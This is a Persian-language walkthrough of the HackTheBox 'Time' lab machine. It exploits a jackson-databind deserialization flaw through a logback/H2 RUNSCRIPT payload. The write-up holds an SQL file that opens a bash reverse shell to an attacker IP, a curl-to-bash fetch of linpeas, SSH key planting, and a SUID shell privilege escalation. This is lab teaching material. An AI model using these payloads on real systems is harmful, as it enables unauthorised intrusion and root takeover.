Time یکی از ماشین های مبتنی بر سیستم عامل لینوکس HackTheBox می باشد که دارای یک Json parser آنلاین می باشد. آسیب پذیری این ماشین Java Deserialization است که ما در این رایتاب آن را exploite می کنیم و دسترسی سطح user را بدست می آوریم و سپس از طریق اسکریپت linpeas.sh بر روی سیستم به دنبال راهکاری جهت privilege escalation می گردیم.
مهارت های مورد نیاز
- برشماری یا Enumeration
- کمی Java
- آسیبپذیریهای وب
Enumeration
در ابتدا ما با استفاده از ابزار nmap شروع به عملیات Port Scan می کنیم تا بفهمیم که چه پورتهایی و چه سرویسهایی بر روی سرور وجود دارد.
ابتدا باید از طریق VPN به شبکه HackTheBox متصل شوید تا بتوانیید آدرس سرور Time را ببینید.
sudo nmap -sC -sV -oA Time 10.10.10.214
همانطور که مشاهده میکنید دو Port زیر باز می باشد:
22 /tcp ----> SSH --> OpenSSH 8.2p1
80/tcp ---> HTTP --> Apache httpd 2.4.41 (JSON parser)
خوب ابتدا من به دنبال آسیبپذیری روی OpenSSH 8.2 , Apache httpd 2.4.41 گشتم که Exploit عمومی داشته باشد ولی چیز خاصی پیدا نکردم. بعد به سراغ پنل وب رفتم.
یک پنل وب برای Json Parser میباشد که داری یک dropdown بوده و دارای ۲ گزینه Beautify و Validate (beta !) میباشد. خب حالا شروع به تعامل به این پنل میکنیم. ابتدا یک داده ورودی از نوع Json را وارد میکنم تا Response بازگشتی را تحلیل کنم.
{ "a" : "test"}
ابتدا داده بالا را در ورودی وارد کرده و PROCESS را می زنیم. خروجی بازگشتی به صورت زیر می باشد.
Beautify هر ورودی json ای که وارد کنیم را چاپ می نماید. خب می رویم سراغ Validate.
خوب با هم ورودی قبلی در خروجی یک Error داریم.
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START\_OBJECT), expected START\_ARRAY: need JSON Array to contain As.WRAPPER\_ARRAY type information for class java.lang.Object
یک exception تو اجرای برنامه ایجاد شده که مربوط com.fasterxml.jackson.databind.exc.MismatchedInputException هستش.
com.fasterxml.jackson.databind.exc.MismatchedInputException
خب با جستجو تو Google متوجه می شیم که برنامه ما داره از کتابخانه jackson-databind استفاده می کنه که دارای آسیبپذیری هستش.
درواقع Jackson یک کتابخانه مبتنی بر java هست که وظیفه اون serialize یا map کردن POJO (Pain Old Java Objects) به json و deserialize کردن JSON به POJO را دارد.(برای فهم بیشتر کارکرد کتابخانه jackson بر روی این لینک کلیک کنید)
حالا به سراغ بهره برداری از این آسیب پذیری میرویم.
Exploit POC
به صورت کلی برای بهرهبرداری از یک آسیبپذیری Deserilization نیازمندی کمی وجود دارد.
- برنامه باید ورودی دلخواه کاربر را بپذیرد
- برنامه باید حداقل یک gadget class جهت بهرهبرداری از آسیبپذیری در مسیر کلاس جاوا (java classpath) داشته باشد
برنامه ما نیازمندی اول را دارد ولی برای اینکه بفمیم نیازمندی دوم نیز وجود دارد باید یا کد برنامه را داشته باشم و یا به طریقی آن را بدست آوریم. بنابر این باید تصور کنیم که برنامه مورد نظر ما از یک gadget class آسیبپذیر در مسیر کلاس جاوا استفاده می کند.
H2 Database Engine
H2 یک RDBMS (پایگاه داده رابطه ای) است که کاملا با جاوا نوشته شده است که قابلیت های برجسته زیر را دارد:
بسیار سریع است و حافظه کمی اشغال می کند.
هم بصورت توکار می توان درون برنامه ها از آن استفاده کرد و هم بعنوان پایگاه داده کلاینت سرور.
حجم کم پایگاه داده (حدود 1.5 MB).
شهرت H2 به استفاده آسان و بی دردسر آن بصورت توکار در سایر برنامه های جاوا است و اگر بخواهیم از نظر کاربرد آن را مقایسه کنیم می توانیم با SQLite برای مصارف توکار مقایسه کنیم.
از معایب این پایگاه داده سازگار نبودن با استاندارد ACID است (Durability) است که ریسک استفاده از آن برای کارهای جدی را بالا می برد.
H2 به صورت گسترده توسط جامعه برنامه نویسان جاوا مورد استفاده قرار میگیر و نکته جالب اینجاست که با استفاده از ویژگی RunScript می توان اسکریپت های SQL را از طریق یک Remote URL اجرا نمود.
پکیج jackson-databind کلاس logback-core که متحمل آسیبپذیری میباشد را مسدود نمیکند . اگر یک کلاس logback توانایی اتصال به پایگاهداده را داشته باشد پس ما باید بتوانیم یک SQL Query را به سمت سرور ارسال کنیم.
از کلاس DriverManagerConnectionSource می توان برای مقداردهی اولیه اتصال پایگاه داده جاوا (JDBC) استفاده کرد.
JDBC در حقيقت يک رابط برنامه سازي کاربردي (API) است که به برنامه هاي جاوا اجازه اتصال و تبادل اطلاعات با بانک اطلاعاتی را مي دهد، از آنجايی که با وجود JDBC، نيازي به نوشتن برنامه های جداگانه براي ارتباط با بانک های اطلاعاتی مختلف نيست، بنابراين نبايد نگران تفاوت Data Base ها و ساختار آنها بود.
POST Exploit
خوب بریم سراغ کار اصلی
یکی از پست های خوبی که ما برای بهره برداری از اون مستند استفاده می کنیم اینجا هست
query که باید در Json Parser وارد کنیم را در زیر آوردهام.
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;INIT=RUNSCRIPT FROM 'http://[IP]:[PORT]/[FileName].sql'"}]
IP: این همون آدرسی هست که شما وقتی می خواهیم به شبکه HackTheBox وصل بشین به شما اختصاص داده میشه.
PORT: پورتی که به WebServer که می خواهیم راه اندازی کنیم اختصاص داده مشی شود.
FileName: نام فایل Exploit ما که روی WebServer قرار می دهیم.
خوب حالا که موارد رو فهمیدیم باید فایل Exploit خودمون رو بنویسم و یک WebServer بالا بیاریم و اون روی سرورمون قراربدیم و بعد از طریق Queyبالا اون رو صدا بزنیم.
فایل Exploit رو می نویسیم و با نام inject.sql ذخیره می کنیم.
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.7/3344 0>&1')
حالا با دستور زیر یک WebServer روی پورت 80 بالا میاوریم.
python3 -m http.server
به صورت Default یک WebServer در مسیر جاری و بر روی پورت 8000 بالا میاد که ما فایل Exploit خودمون رو هم توش قرار می دیم.(inject.sql)
همچنین برای گرفتن دسترسی shell از کاربر یک Port رو روی سیستم خودم listen می کنم.
nc -nlvp 3344
حالا در صفحه Json Parser موارد رو وارد کنم تا دسترسی کاربر رو بگیرم.(حتما روی Validate)
همون جوری که دیدین با وارد کردن کد در Parser یک Query به سرور من ارسال میشه تا فایل inject.sql رو بخونه و من تو اون فایل با استفاده از SHELLEXEC پوسته Bash سیستم را برای آدرس سرور خودم صدا زدم و در نهایت shell کاربر برگشت .
حالا می تونم Flag مربوط به کاربر رو بخونم .(user.txt)
Privilege Escalation
دسترسی ما روی سیستم Time قابل اطمینان نیست و پیشنهاد من برای راحتتر بودن تو پروسه ارتقاع سطح دسترسی اتصال از طریق SSHهست. اگر یادتون باشه پورت مربوط به SSH بر روی سرور باز هست و ما می تونیم با قرار دادن SSH Public key مربوط به سرور خودمون بر روی ماشین Time و کاربر pericles به اون متصل بشیم .
خب بر روی سرور خودمون و با استفاده از دستور زیر یک جفت کلید Public/Private میسازیم. (اگر یادتون نیست چطوری بود از اینجا ببینید.)
ssh-keygen
فایل زیر درواقع SSH Public key ما هستش.
~/.ssh/id_rsa.pub
حالا سمت ماشین Time مراحل زیر رو دنبال کرده و مقدار SSH Public Key خود را جایگزین [MyPublicKey] می کنیم.
cd /home/pericles && mkdir .ssh
echo -n '[MyPublicKey]' > .ssh/authorized_keys
حالا دستور زیر رو سمت سیستم خودمون می زنیم تا به ماشین Time وصل بشیم.
ssh -i ~/.ssh/id_rsa pericles@10.10.10.214
خب حالا تو مرحله بعدی باید بریم سراغ Privilege Escalation تا Flag مربوط به کاربر root رو بخونیم.
دو تا از اسکریپتهای خوب برای پیادهکردن ضعف امنیتی بر روی سیستم عامل های مبتنی بر لینوکس LinPEAS , LinEnum هستند که ما از linpeas.sh استفاده می کنیم.
اسکریپت linpeas.sh رو دانلود کرده و در مسیر وب سرورمون قرار می دهیم.
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
حالا در سمت ماشین Time دستور زیر رو می زنیم
curl 10.10.14.71/linpeas.sh | bash
در خروجی می بینیم که یک فایل با نام usr/bin/timer_backup.sh/ وجود دارد که کاربر root به آن دسترسی داشته ولی مالک آن کاربر ما می باشد و قابلیت write برای ما وجود دارد پس اگر ما دستوری را به آن اضافه کنیم و یا آن را تغییر دهیم دستور ما اجرا می شود.
حالا دستور زیر را وارد می کنیم.
echo 'cp /bin/sh /tmp/sh;chmod u+s /tmp/sh' > /usr/bin/timer_backup.sh
بعد از حدود یک دقیقه یک فایل با نام sh در مسیرtmp/ ساخته می شود که به واسطه آن می توان دسترسی root را بر روی سیستم Time بدست آورد.
پایان
به این اعتقاد دارم که هرچقدر سکوت کنی بهتر می شنوی